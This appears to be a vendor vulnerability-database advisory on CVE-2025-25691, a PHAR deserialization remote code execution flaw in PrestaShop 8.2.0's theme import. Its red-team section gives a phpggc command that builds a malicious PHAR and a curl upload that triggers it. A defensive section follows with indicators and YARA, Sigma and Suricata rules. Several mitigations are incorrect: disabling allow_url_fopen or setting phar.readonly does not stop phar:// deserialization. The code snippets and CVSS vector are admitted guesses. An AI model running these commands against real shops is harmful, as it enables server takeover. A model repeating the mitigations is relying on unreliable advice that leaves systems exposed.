CVE-2025-25691
Executive Summary
CVE-2025-25691 is a critical PHAR deserialization vulnerability discovered in PrestaShop v8.2.0, specifically within the /themes/import component. This flaw allows an unauthenticated attacker to achieve remote code execution (RCE) by sending a crafted POST request containing a malicious PHAR (PHP Archive) file. The vulnerability arises from the insecure use of phar:// stream wrapper in PHP, which triggers automatic deserialization of metadata when a PHAR file is accessed. Given the lack of a confirmed patch and the public availability of proof-of-concept (PoC) code, this vulnerability poses a severe risk to all PrestaShop instances running version 8.2.0. Immediate mitigation actions are required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the PrestaShop e-commerce platform, which is a PHP-based application. The risk is amplified if the PrestaShop instance is integrated with third-party modules or themes that may also be vulnerable to similar deserialization attacks. Organizations should audit all custom and third-party themes for unsafe file handling.
CVSS Breakdown & Threat Level
While an official CVSS vector is not provided, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the application itself.
- Confidentiality (C): High (H) – Full system compromise possible.
- Integrity (I): High (H) – Attacker can modify files and data.
- Availability (A): High (H) – Attacker can disrupt service.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability is trivial to exploit with publicly available PoC, and no patch is currently available.
Deep Dive & Mechanics
The vulnerability resides in the theme import functionality of PrestaShop. When a user uploads a theme archive, the application processes the file using PHP's file functions. The core issue is that the application does not properly validate the file type or sanitize the file path before using it with a phar:// stream wrapper.
Technical Breakdown:
- PHAR Deserialization: PHP's PHAR files contain metadata that is automatically unserialized when the file is accessed using the
phar://wrapper. This metadata can contain arbitrary PHP objects. - Attack Vector: An attacker crafts a malicious PHAR file containing a PHP object that, upon deserialization, executes arbitrary code (e.g., using a gadget chain like
PHPGGC). - Exploitation: The attacker sends a POST request to
/themes/importwith the malicious PHAR file as the uploaded theme. The application then processes the file, triggering the deserialization and code execution. - Impact: Successful exploitation grants the attacker full control over the PrestaShop instance, including database access, file manipulation, and potential lateral movement within the network.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code path is identified as the theme import handler. The vulnerable code likely resembles:
// Vulnerable code (conceptual)
$file = $_FILES['theme']['tmp_name'];
$phar = new Phar($file); // Triggers deserialization
// ... process theme
A patched version would need to:
- Validate the uploaded file's MIME type and extension (e.g., only allow
.zip). - Avoid using
phar://wrapper for user-uploaded files. - Use
is_file()andfile_get_contents()with strict path validation instead ofPharclass.
// Patched code (conceptual)
$file = $_FILES['theme']['tmp_name'];
if (mime_content_type($file) !== 'application/zip') {
throw new Exception('Invalid file type');
}
$zip = new ZipArchive();
$zip->open($file);
// ... process theme safely
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- PrestaShop v8.2.0 instance (e.g., Docker container).
- PHPGGC tool for generating gadget chains.
- Python or curl for sending requests.
Exploitation Steps:
Generate Malicious PHAR:
php -d phar.readonly=0 ./phpggc --phar phar:// -o exploit.phar Laravel/RCE1 system 'id'Upload and Trigger:
curl -X POST -F "theme=@exploit.phar" http://target.com/themes/importVerify Execution: Check server logs or access a web shell if the payload creates one.
Note: The exact gadget chain depends on the PHP version and installed libraries. Common chains include those for Laravel, Symfony, or Monolog.
Blue Team (Defensive)
Detection & Prevention:
- Web Application Firewall (WAF): Block uploads with
.pharextension orphar://in POST parameters. - File Upload Validation: Implement strict MIME type and extension checks on the server side.
- Disable PHAR Wrapper: If not needed, disable the
phar://stream wrapper inphp.ini:; Disable phar wrapper allow_url_fopen = Off ; Or remove phar from stream_wrappers - Monitor Logs: Look for unusual file uploads or errors related to
Pharclass.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
exploit.phar(generated by attacker) – varies.
- Network Indicators:
- POST requests to
/themes/importwith large file uploads. - Unusual
Content-Type: application/x-pharheaders.
- POST requests to
- System Indicators:
- Unexpected files in
/tmpor web root. - New PHP files in
modules/orthemes/directories. - Unusual processes spawned by the web server user (e.g.,
id,whoami).
- Unexpected files in
- Log Entries:
- PHP errors:
"PHP Fatal error: Uncaught PharException: ..." - Access logs:
POST /themes/import HTTP/1.1" 200
- PHP errors:
Detection Engineering
YARA Rule
rule CVE_2025_25691_PHAR_Deserialization {
meta:
description = "Detects PHAR files crafted for CVE-2025-25691"
author = "Valters IT"
date = "2025-03-01"
reference = "CVE-2025-25691"
strings:
$phar_magic = { 50 48 41 52 } // "PHAR" magic bytes
$gadget_chain = /O:\d+:"[^"]+":\d+:/ // Serialized object pattern
condition:
$phar_magic at 0 and $gadget_chain
}
Sigma Rule
title: PrestaShop PHAR Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /themes/import with potential PHAR payloads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/themes/import'
cs-content-type: 'application/x-phar'
condition: selection
falsepositives:
- Legitimate PHAR file uploads (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-25691 PrestaShop PHAR Deserialization Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/themes/import"; http.content_type; content:"application/x-phar"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Theme Import: If not required, disable the theme import functionality by removing or restricting access to
/themes/import. - Apply Virtual Patching: Use a WAF to block requests with
phar://in the body or file uploads with.pharextension. - Restrict File Uploads: Modify the server configuration to only allow specific file types (e.g.,
.zip) and validate MIME types.
Long-Term Fix:
- Monitor for Official Patch: Apply the official patch from PrestaShop as soon as it is released.
- Code Audit: Review the theme import code and implement safe file handling practices:
- Use
ZipArchiveinstead ofPharfor archive processing. - Validate file extensions and MIME types.
- Store uploaded files outside the web root.
- Use
Workaround (if patching is not possible):
- Disable PHAR Stream Wrapper: In
php.ini, setphar.readonly = 1and removepharfrom the list of stream wrappers if possible. Note that this may break legitimate PHAR usage.
Valters IT
Securing Digital Frontiers